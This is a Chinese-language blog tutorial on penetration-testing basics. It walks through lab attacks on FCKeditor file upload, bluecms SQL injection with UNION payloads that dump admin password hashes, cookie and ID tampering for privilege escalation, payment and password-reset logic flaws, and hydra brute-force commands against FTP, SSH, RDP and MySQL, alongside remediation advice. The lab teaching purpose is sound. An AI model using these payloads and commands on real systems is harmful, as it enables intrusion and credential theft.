【网络安全的神秘世界】渗透测试基础

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

渗透测试基础

基于功能去进行漏洞挖掘

1、编辑器漏洞

1.1 编辑器漏洞介绍

一般企业搭建网站可能采用了通用模板(CMS,内容管理系统),这些现成的CMS后台如果需要发文章,可能会用到编辑器,这些编辑器是有专门的团队运营开发的,编辑器有可能存在漏洞。只要使用了存在漏洞的编辑器,那么网站就会存在相应的漏洞

编辑器漏洞通常有如下利用方式:

1、编辑器配合解析漏洞进行利用

2、编辑器自身的漏洞利用

FCKeditor

FCKeditor编辑器的漏洞源码

获取版本号

/FCKeditor/_whatsnew.html
/Fckeditor/editor/dialog/fck_about.html

常见的测试上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/editor/filemanager/browser/default/browser.html

常见的示例上传地址:

FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

可能存在的其他上传点:

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectos/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors
/jsp/connector.jsp

browser.html文件:

FCKeditor/editor/filemanager/browser/default/browser.html?
type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/php/connector.php

1.2 编辑器漏洞攻击还原

挖掘编辑器漏洞的思路:

1、通过目录扫描,爬虫识别编辑器

2、寻找编辑器版本对应的漏洞

3、利用该编辑器漏洞

Fckeditor编辑器漏洞攻击还原:

首先搭建环境:windows 11 + phpstudy_64 (php 5.4.45)

把FCKeditor编辑器的漏洞源码放在根目录

访问http://your_ip/FCKeditor,有403报错是正常的

目录扫描发现目标网站存在FCKeditor:

当确定一个网站使用了FCKeditor编辑器后,可以进行信息收集

查看版本:

http://10.0.0.172/Fckeditor/editor/dialog/fck_about.html

判断出该FCKeditor编辑器版本为:2.4.3

利用示例页面进行上传

http://10.0.0.172/FCKeditor/editor/fckeditor.html

点击插入/编辑图像,点击链接,Browse Server

会打开新的页面,发现有报错提示

观察url发现,我们使用的是php而路径是asp,进行修改

http://10.0.0.172/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php

这次仍然报错,但是报错信息不同了

访问D:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php,修改配置如下并保存:

上传路径:D:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images

重启完成后,再次访问链接,可以正常访问

上传PHP文件,抓包,修改php后缀,增加空格

上传成功后,根据前面的配置文件可以构造出路径:

http://10.0.0.172/FCKeditor\editor\filemanager\browser\default\images\file/phpinfo.php

也可以用蚁剑直接拿下这台web服务器

此外,关于该实验环境,也可以通过测试页面进行文件上传:

http://10.0.0.172/FCKeditor/editor/filemanager/browser/default/connectors/test.html

也可以使用FCK综合利用工具进行利用

2、旁站&跨库

旁站:同一个web服务器上存载着多个web站点,通过不同端口对外进行服务

2.1 旁站&跨库

漏洞环境搭建

bluecms v1.6 sp1源码
windows 7
phpstudy(php 5.4.45)

将bluecms源码放入phpstudy网站根目录中

之后访问http://your_ip/bluecms/uploads/install进行安装

填写数据库账号密码,我设置的是root/123456,数据表前缀blue_,管理员账号密码admin/123456,下一步

返回空白页面即代表安装成功

旁站和跨裤演示

在渗透测试过程中,如果正面难以突破,那么就可以采用一些迂回战术,从侧面来发起攻击,也就是采用一些间接攻击方法,例如旁站,通过旁站注入来进行渗透

假如在某次渗透测试过程中我们发现主站难以攻破,又发现存在旁站bluecms,于是通过旁站来进行攻击:

http://10.0.0.160/bluecms/uploads/

分析这个页面可以挖的地方:

1、收藏----存在ssrf

2、密码爆破

3、弱口令

4、密码明文传输---有攻击者监听流量可以看到密码

5、是否记住我---可能用了share框架

点击进入注册功能点,思考可能存在以下漏洞:

1、弱口令

2、账号枚举---判断是否存在账号

3、测试验证码是否有效(不填或者故意填错)

4、csrf---此网站在验证码无效的情况下

5、逻辑漏洞------当作修改已注册用户密码功能点(在不校验旧密码的情况下,根据账户枚举得到一个已有账号,抓包绕过前端限制,把账户修改为已经存在的,并设置新密码)

6、XSS(盲注的场景)

7、电子邮箱---邮箱轰炸

点击进入留言建议,分析这个页面可以挖的地方:

1、XSS

回到首页进行渗透测试,输入admin密码随意,根据提示发现admin是系统用户组,并且存在后台

找后台的3种方法:

1、已知框架了直接上网查

2、猜(console、login、admin、manage、system)

3、目录爆破:dirsearch、御剑

通过御剑扫描,找到了网站后台管理地址

# 登录
http://192.168.190.128/bluecms/uploads/admin/login.php?act=login

已知账号admin,爆破出密码为123456

输入admin/123456成功进入后台

打开发布本地新闻,分析这个页面可以挖的地方:

1、xss

2、文件上传

3、编辑器漏洞

4、sql注入

删除功能,分析可能存在的漏洞:

1、越权:普通用户实现删除操作

2、未授权访问:在不登陆的情况下删除

抓包,找到删除功能的接口,拼接删除功能的接口地址

192.168.75.131/bluecms/uploads/admin/ann.php?act=del_cat&id=1

添加广告后,有xss弹窗

发现 "获取JS" 的功能,给我们一串js代码

思考:JS从哪里获取到的,会有什么漏洞?

1、本地获取-----任意文件读取

2、数据库获取---SQL漏洞

3、远程服务器获取---RCE、SSRF(内网)、文件包含(外网)

访问上述url,发现是个空白页面,观察url可能存在sql注入漏洞

192.168.75.131/bluecms/uploads/ad_js.php?ad_id=1

验证是否存在sql注入漏洞

通过order by 判断有多少列,输到8报错,证明是7列

使用联合注入,用1,2,3,4,5,6,7表示无意义位,只是想看看哪个位置会有回显

发现页面不返回消息,查看网页源代码

证明前端显示位不够,让union all左边ad_id=-1查不出东西,就会让出显示位给右边

发现第7列有回显,可以在此处写入想执行的sql语句

注入出数据库名为bluecms

继续注入blue_user表中的字段名,发现报错,存在过滤,单引号前面出现\证明单引号被转义:

view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-
1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'

使用16进制进行绕过:

view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-
1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572

继续注入bluecms库中blue_user表的user_name和pwd字段内容:

view
-
source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=
-1 union select 1,2,3,4,5,6, concat(user_name,pwd) from blue_user

也可以使用concat_ws在user_name和pwd中间加入0x7e作为分隔符,方便我们分隔账号密码

admin以及21232f297a57a5a743894a0e4a801fc3,即web管理员的账户密码

通过在线解密:发现明文密码为admin

利用SQL注入能够跨越当前库,获取所有的数据库中的数据库名,表名,字段名:

view
-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=
-1 union select 1,2,3,4,5,6,group_concat(schema_name)
from information_schema.schemata

2.2 CDN绕过

旁站攻击的前提是知道网站服务器的真实IP,确保要攻击的多个目标站点部署在同一服务器上

CDN概述

CDN也叫内容分发网络,CDN的主要目的是通过将内容缓存到离用户更近的服务器上,来提高用户访问网站或应用程序的速度和可靠性

检测网站是否采用了CDN

1️⃣利用多地ping

每个地区得到的IP地址都不一样则说明可能存在CDN,可以使用以下网站进行检测:

https://wepcc.com
http://ping.chinaz.com
https://mping.chinaz.com/
http://ping.aizhan.com/
http://tcping8.com/ping/

2️⃣利用nslookup

如果返回域名解析对应多个IP地址多半是使用了CDN

查找真实IP方法

1️⃣查找历史DNS记录

一个网站建设之初的时候,规模不大可能早期没有使用CDN

DNS查询https://www.malapan.com/dnshistory/safepub.com、https://www.
racent.com/dns-check
微步在线:https://x.threatbook.cn/
在线域名信息查询:http://toolbar.netcraft.com/site_report?url=
DNS、IP等查询:http://viewdns.info/
CDN查询IP:https://tools.ipip.net/cdn.php

这些网站具有随机性,不一定能查到

2️⃣子域名查询

对于一个网站边缘业务可能没有上CDN,此时就可以通过查询子站点所对应的IP来辅助查找网站的真实IP

第三方接口:
https://x.threatbook.cn/
https://dnsdb.io/zh-cn/
https://site.ip138.com/

google语法:Google site:baidu.com

子域名扫描器:subdomainbrute、amass、OneForAll子域名挖掘机等等

3️⃣网络空间测绘

shadan:https://www.shodan.io/
fofa:https://fofa.info/
hunter:https://hunter.qianxin.com/
zoomeye:https://WWW.zoomeye.org/

4️⃣利用网站漏洞

phpinfo之类的探针、GitHub信息泄露等、
XSS盲打、命令执行反弹shell,SSRF等

5️⃣利用邮件服务器找到真实IP

在注册等一些需要发送邮件的地方让服务器给自己发送邮件,然后查看邮件服务器的IP地址。这种情况比较适用于小站,因为很多大型企业的邮件服务器都是独立的,不太会和业务站点放在同一服务器上。

6️⃣通过分析目标C段来判断真实IP

3、越权

3.1 越权漏洞原理介绍

越权访问是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大、常常被列为OWASP TOP 1 ------ 属于逻辑漏洞

该漏洞是指应用在检查授权时存在纰漏,使得攻击者在登录低权限账户后,利用一些方式绕过权限检查,访问或者操作其它用户信息及获取更高权限

由于越权漏洞往往很难通过工具进行自动化检测,因此在实际应用中危害很大

对比一下SQL注入漏洞和越权漏洞的测试过程:

1、越权漏洞:找到获取数据的接口,准备两个不同权限的账号A和B,控制A通过指定的接口去访问B的数据;访问到即越权

2、SQL注入怎么测:参数级漏洞,看到有携带参数的接口就可以放在sqlmap里去跑,sqlmap自动进行替换完成测试

水平越权: 相同权限下不同的用户可以互相访问

垂直越权: 使用权限低的用户可以访问到权限高的用户

水平越权测试方法:

垂直越权测试方法:

3.2 水平越权攻防还原

火狐浏览器:登录lucy/123456,点击查看个人信息

抓包,修改请求数据包的username参数为lili

在火狐浏览器可以查看到lili的个人信息了

3.3 垂直越权攻防还原

火狐浏览器登录:admin/123456

抓包,发现除了cookie没有其它参数了,只能根据cookie值来判断当前用户的身份

在admin账户中点击添加用户,来到这个页面

1️⃣复制上述url用谷歌浏览器打开

2️⃣替换cookie

还有一种方法,在admin用户下创建内容

抓包,发现除了cookie没有其它校验身份的参数了

把cookie值修改为pikachu用户的cookie值

如果成功,相当于用pikachu的权限进行添加用户;放包查看,添加成功了

谷歌浏览器登录:pikachu/000000

对于pikachu账户来说没有添加用户的功能,但是可以用谷歌再打开一个新的标签页,表示以pikachu的身份访问这个url

设置一些内容进行创建,看能否真的进行操作做

做了校验,发现不是admin用户,直接退出了

但是来到admin用户查看后台,信息已经添加成功了

3.4 越权漏洞修复

1、前后端同时对用户输入信息进行校验,双重验证机制

2、执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限

3、特别名的操作可以让用户再次输入密码或加入其它的验证信息,防止CSRF攻击

4、可以从用户的加密认证cookie中获取当前用户的id防止攻击者对其修改,或在session、cookie中加入不可预测的user信息

5、对想要引用的资源ID进行加密,防止攻击者枚举ID,敏感数据特殊化除了

6、用于不要相信来自用户的输入,对于可控参数进行严格的检查与过滤

4、 逻辑漏洞

4.1 逻辑漏洞概述

由于程序逻辑输入管控不严,导致程序不能正常处理或处理错误,进而产生的漏洞。一般出现在登录、注册、密码找回、信息查看、交易支付金额等位置,由于逻辑漏洞产生的流量多数为合法流量,一般的防护手段或设备无法阻止,也导致了逻辑漏洞成为企业防护中的难题

4.2 如何挖掘逻辑漏洞

4.2.1 注册处

注册功能可能出现任意用户注册、短信轰炸等问题

【任意用户注册】:有时候不核实用户填写的邮箱和手机号是否有效,从而达到任意注册的效果

【短信轰炸】:没有对获取短信验证的次数进行校验的话,就可以不停的发送短信,会消耗服务器的资源和金钱

前端验证:判断是否有任意用户注册漏洞

手机验证码:短信轰炸、验证码是否可以暴力破解,验证码与手机号有没有校验匹配(随便拿到一个验证码也能登录其他账号)

账号密码注册:是否可以批量注册(涉及黑产)

4.2.2 登陆处

登陆处可能存在任意用户登录、短信轰炸等问题

前端验证:判断是否有任意用户登录,是否有验证码回显,是否可以修改返回包造成任意用户登陆等问题

手机验证码:验证码是否可以暴力破解、验证码与当前手机号有没有校验匹配

账户密码登录:没有验证码、验证码失效、验证码可以重复利用或者验证码绕过等情况,可以进行暴力破解

4.2.3 密码找回处

1、前端验证绕过:先获取手机验证码,在输入要修改的邮箱或密码,抓包修改用户名

2、验证码是否可以多次使用

3、验证码是否直接返回在数据包中

4、验证码未绑定用户:明明是A的验证码能给B用

5、修改接收的手机或邮箱进行密码重置

6、验证步骤绕过:类似1

7、未校验用户字段的值:比如user_id可替换

...

4.2.4 支付与越权

1、提交订单或者结算时对金额等参数进行修改(可能只校验总价=单价*数量)

2、提交订单时修改商品数量

3、修改支付接口等:某个付款二维码被攻击者拿到了,为了防止攻击者使用该二维码进行随意支付,所以要进行一次校验

4.3 交易支付中的逻辑问题

支付漏洞的理解通常都是篡改价格

4.3.1 支付逻辑漏洞的呈现形式

1、充值的时候,程序只判断订单有没有充值成功,但没有判断金额

例如:生成订单跳转到支付宝页面,在原网站点支付失败,这时可以修改订单,改成更小的金额(订单号没变),回到支付宝页面进行支付操作,支付成功。程序并没有重新核对支付宝实际的金额,只是把订单改为已支付

2、使用余额支付,把数量改为负数,总金额也为负数,扣除余额时,负负得正,这时余额增加

3、支付逻辑漏洞的几种常见类型:

(1)修改金额

(2)修改商品数量

(3)修改优惠金额

(4)修改数量、单价、优惠价格参数为负数、小数、无限大(超过内存能承载的最大值,整数溢出后变成负数)

(5)商品价格更改

(6)支付key泄露等

4.3.2 支付漏洞案例

漏洞环境:webug

使用docker安装

docker pull area39/webug
docker run -d -p 8082:80 -p 33060:3306 area39/webug

安装成功后访问http://your_ip:8082/control/login.php

默认账户:admin/admin
数据库账号:root/toor

打开支付漏洞靶场

进入某网站商城页面

http://10.0.0.158:8082/control/auth_cross/cross_permission_pay.php

点击立即购买,发现弹窗花费了100元购买商品

观察url发现,price是价格的意思,尝试修改值为1

也可以抓包进行修改商品的价格

4.4 密码修改逻辑漏洞

访问"越权修改密码"靶场:

进入docker的数据库中

docker exec -it id bash
mysql -uroot -p //密码toor

查看用户密码信息

show database;
user webug;
show tables;
select * from user_test;

登录admin/admin账号

显示not found,这是网站本身的问题,删除pt_env/即可

登录aaaaa/asdfsadf账号

思考可能存在的漏洞:

1、明文传输

2、弱口令

3、SQL注入

4、越权修改其他用户密码

5、旧密码是否有效

对aaaaa账户进行修改密码的操作:发现修改密码处未对旧密码进行验证,旧密码处输入任意内容,可以直接修改密码

查看webug库下的user_test表

use webug;
select * from user_test;

抓包,观察数据包我们发现id值可以被篡改,一般来说管理员的id值一般为1或者0

将id修改为1进行尝试,发现修改成功

查看webug库下的user_test表

use webug;
select * from user_test;

此时admin账户的密码已经被更改为:123456,通过低权限的账户修改了管理员账户的密码,使用admin/123456即可成功登录。

4.5 实战项目逻辑漏洞分享

4.5.1 验证码回传导致任意用户注册

由于程序逻辑校验不严,导致验证码直接显示在响应包中,造成任意用户注册

1、可以修改请求包手机号

2、可以在响应码里直接看到验证码拿去使用

4.5.2 任意用户登录

用户注册成功后,第一次会直接以注册用户的身份登录,而无需用户输入账号密码登录,查找数据包中是否有用户的参数username、userid等进行替换

截取并查看响应数据包,发现系统是通过userid、username等参数进行身份验证及登录:

再去截取请求数据包,修改userid值,成功登录他人用户:

4.5.3 任意密码重置

在密码修改页面,随意输入旧密码,输入新密码以及确认新密码,点击修改密码,截取数据包

将响应包由false改为true,有时候响应状态码不一定是true或false,也有可能是0和1

4.6 逻辑漏洞修复

1、正确配置用户的权限信息,不要仅使用简单的cookie或session去进行校验

2、对同一手机号进行识别,一定时间内不允许重复发送验证短信请求

3、加入用户身份认证机制或者token验证,防止可直接通过链接访问到的功能模块被用户恶意操作(未授权访问漏洞)

4、删除特权码,不要仅仅对code等返回值进行校验

5、订单类数据包在后端检查订单的每一个值,包括支付状态、MD5加密&解密、数字签名及验证,能够有效避免数据修改、重放攻击中的各种问题

6、避免仅使用前端校验,应在前后端同时设置校验机制,严格校验用户的数据

5、暴力破解

暴力破解是一种针对密码的破译方法,将密码进行逐个推算知道找出正确的密码为止

5.1 C/S架构暴力破解

常用于网络协议、系统、数据库、第三方应用密码的破解:

暴力破解FTP、SSH、SMB、Sqlserver、Mysql、Redis等

5.2 B/S架构暴力破解

B/S架构即浏览器/服务器结构,暴力破解:

上面 2.1 旁站&跨库 中已经讲过暴力破解bluecms的账号密码,这里不再讲述

5.3 hydra的安装与使用

hydra(九头蛇)是一个网络账号破解攻击

5.3.1 hydra的安装

kali linux下自带

5.3.2 hydra的使用

hydra常用参数:

-l            指定一个用户名
-L            指定一个用户字典
-P			  指定一个密码字典
-s			  指定端口
-vV			  显示每次的尝试信息
-f			  遇到正确的密码,停止爆破
-o            将结果输出到文件中
-M            指定一个服务器列表
-t            Tasks同时运行的线程数,默认为16
-e nsr        n:尝试空密码  s:将用户名作为密码  r:将用户名方向

使用hydra暴力破解ftp服务:

在windows使用phpstudy开启ftp

设置账号为ftp/123456并启动ftp服务

启动,需要手动启动一下ftp

确保linux和weindows两台主机之间的网络是互通的

windows:10.0.0.160
linux:10.0.0.158
hydra ip 服务 -l 用户名 -P 字典

hydra 10.0.0.160 ftp -l ftp -P pwd.txt -vV -f -e ns

将字典pwd.txt,放在当前目录下

成功破解出密码为:ftp/123456

物理机利用该密码成功登录ftp服务器

ftp://10.0.0.160/

使用hydra暴力破解ssh服务:

windows:10.0.0.167
linux:10.0.0.158

首先在Windows系统中安装openssh,以Win 11为例:

安装完成后,看到C盘目录下已经存在OpenSSH文件夹,接下来配置环境变量:

配置完成后,在命令行输入sssh,出现下图即代表安装成功:

在Win 11下默认安装openssh,账号密码默认是当前系统用户的微软账号和密码

hydra 10.0.0.167 ssh -l Administrator -P pwd.txt -o ssh.log

破解出账号密码为Administrator/ly123

查看输出的文件也可以发现:

破解出10.0.0.160的ssh账号密码为Administrator/ly123

使用hydra暴力破解rdp服务:

win 11开启远程桌面(默认开启)

hydra 10.0.0.167 rdp -l Administrator -P pwd.txt -vV -f -e ns

发现爆破出rdp的账号密码为Administrator/ly123

使用该账户成功登录服务器

当用物理机远程虚拟机win 11时,虚拟机就掉线了,因为同一个账号只能被一个用户所登录

使用hydra暴力破解mysql服务:

win11中开启mysql服务,查看账号密码:

hydra 10.0.0.167 mysql -l root -P pwd.txt 

发生了报错,意思是MySQL没有开启远程连接

安装数据库管理工具

设置MySQL允许远程连接:

运行 grant all privileges on *.* to root@'%' identified by 'root'; 语句

破解出10.0.0.167的mysql的账号密码为:root/root

5.4 暴力破解安全防范

1、安全的验证码

2、对验证码的有效期和次数进行限制

3、限制认证错误的提交次数,如:连续5次密码错误,锁定2小时

4、必要的情况下使用双因子认证(验证码+滑动验证码)

6、验证码安全

所用环境:pikachu

6.1 验证码安全介绍及分类

在安全领域,验证码主要分为两大类:操作验证码和身份验证码

验证码的主要作用:防止暴力破解、恶意注册、刷票、论坛灌水等脚本行为

验证码的分类:手机短信、手机语音、通用文字、加减法、非通用文字、非通用文字加背景随机加拉伸、无感知、滑动拼图、文字点选、图标点选、推理拼图、短信上行、语序点序、空间推理、语音验证等

6.2 验证码绕过(on client前端)

当未输入验证码的时候,提示"请输入验证码":

当输入错误验证码的时候提示"验证码输入错误":

当输入正确验证码的时候提示"用户名或者密码不存在":

username or password is not exists~

经过前三步的测试,验证码基本功能完善

我们尝试截取登录处数据包,修改密码但不更改验证码并多次重放之后发现没有提示验证码错误,该验证码依然有效,说明可能存在验证码可以重复使用的情况:

分析验证码部分的源代码:

代码逻辑没有问题,原因在于写在前端了

完整的实现 请求 --> 响应 过程页面才会刷新,只有页面刷新才能获取新的验证码,而我们抓到了请求包,响应回不去客户端,所以验证码无法刷新,从而导致验证码可以重复利用

既然验证码无效,就可以直接暴力破解了

破解出密码为1223456

除了抓包,也可以通过禁用js来绕过验证码

删除校验验证码的功能也能绕过

6.2 验证码绕过(on server后端)

先对验证码的功能进行完备性的验证

不输入验证码点登录:

输错验证码点登录:

输入正确的验证码:

输入一个正确的验证码,抓包:发现验证码还是可以重复利用

为什么代码在后端,还会出现验证码重复利用这种情况呢?

在burp反复 send 是2和3的过程,没有走完完整的通信,问题是验证码是后端生成的,正常情况下,只要2给了服务端,服务端就应该更新验证码

所以问题还是出现在后端,查看源代码:app\vul\burteforce\bf_server.php

造成该验证码重复使用的原因是:验证码在验证之后没有销毁$_SESSION['vcode'],造成了重复使用

如果销毁了$_SESSION['vcode'],即使新的验证码没有生成,旧的验证码也不可以用了

7、社会工程学

非技术渗透手段,简单来说就是骗

8、APT攻击

APT即高级持续性威胁,是一种潜伏周期较长、隐蔽性较强的攻击模式

APT攻击常用手段:

1️⃣水坑攻击

提前分析要攻击的目标有什么规律,寻找其经常访问的网站弱点,并事先攻击该网站,等待目标来访,伺机进行攻击

2️⃣路过式下载

攻击者把木马文件植入到某个软件中,用户下载软件的同时也下载了木马

3️⃣网络钓鱼和鱼叉式网络钓鱼

钓鱼攻击

4️⃣0day漏洞

没有在市面上公布出来,掌握在极少数人手里

APT攻击方法

1️⃣恶意代码检查

通过流量抓到攻击者用的什么payload打到你的,通过payload还原攻击代码、攻击路径,做个有针对性的修复

2️⃣主机保护应用

看行为:执行了什么操作系统路径、对外传输了哪些数据

监控企业内内所有主机安全行为

3️⃣网络入侵检测

通过流量监控设备,结合一些态势感知,对整个流量进行监控

4️⃣大数据分析检测

通过全面分析海量日志数据来还原APT攻击场景

相关推荐
2401_85761762几秒前
“无缝购物体验”:跨平台网上购物商城的设计与实现
java·开发语言·前端·安全·架构·php
士别三日wyx37 分钟前
HW护网分析研判思路,流量告警分析技巧
安全·web安全·网络安全
张声录11 小时前
【ETCD】【实操篇(十六)】基于角色的访问控制:ETCD 安全管理指南
数据库·安全·etcd
茶颜悦色vv2 小时前
Wireshark(1)
网络·web安全·网络安全·wireshark
上海文顺负载箱2 小时前
程控电阻箱应用中需要注意哪些安全事项?
安全
纯净的灰〃3 小时前
vulnhub-matrix-breakout-2-morpheus
安全·web安全·网络安全
赛德乌漆麻黑哟3 小时前
FOFA--网络空间资产搜索引擎(常用语法以及拓展)
网络·安全·搜索引擎
Hacker_Oldv4 小时前
iptables网络安全服务详细使用
网络·安全·web安全
xcLeigh4 小时前
网络安全 | 云计算中的数据加密与访问控制
安全·web安全·云计算
不惑_6 小时前
List 集合安全操作指南:避免 ConcurrentModificationException 与提升性能
数据结构·安全·list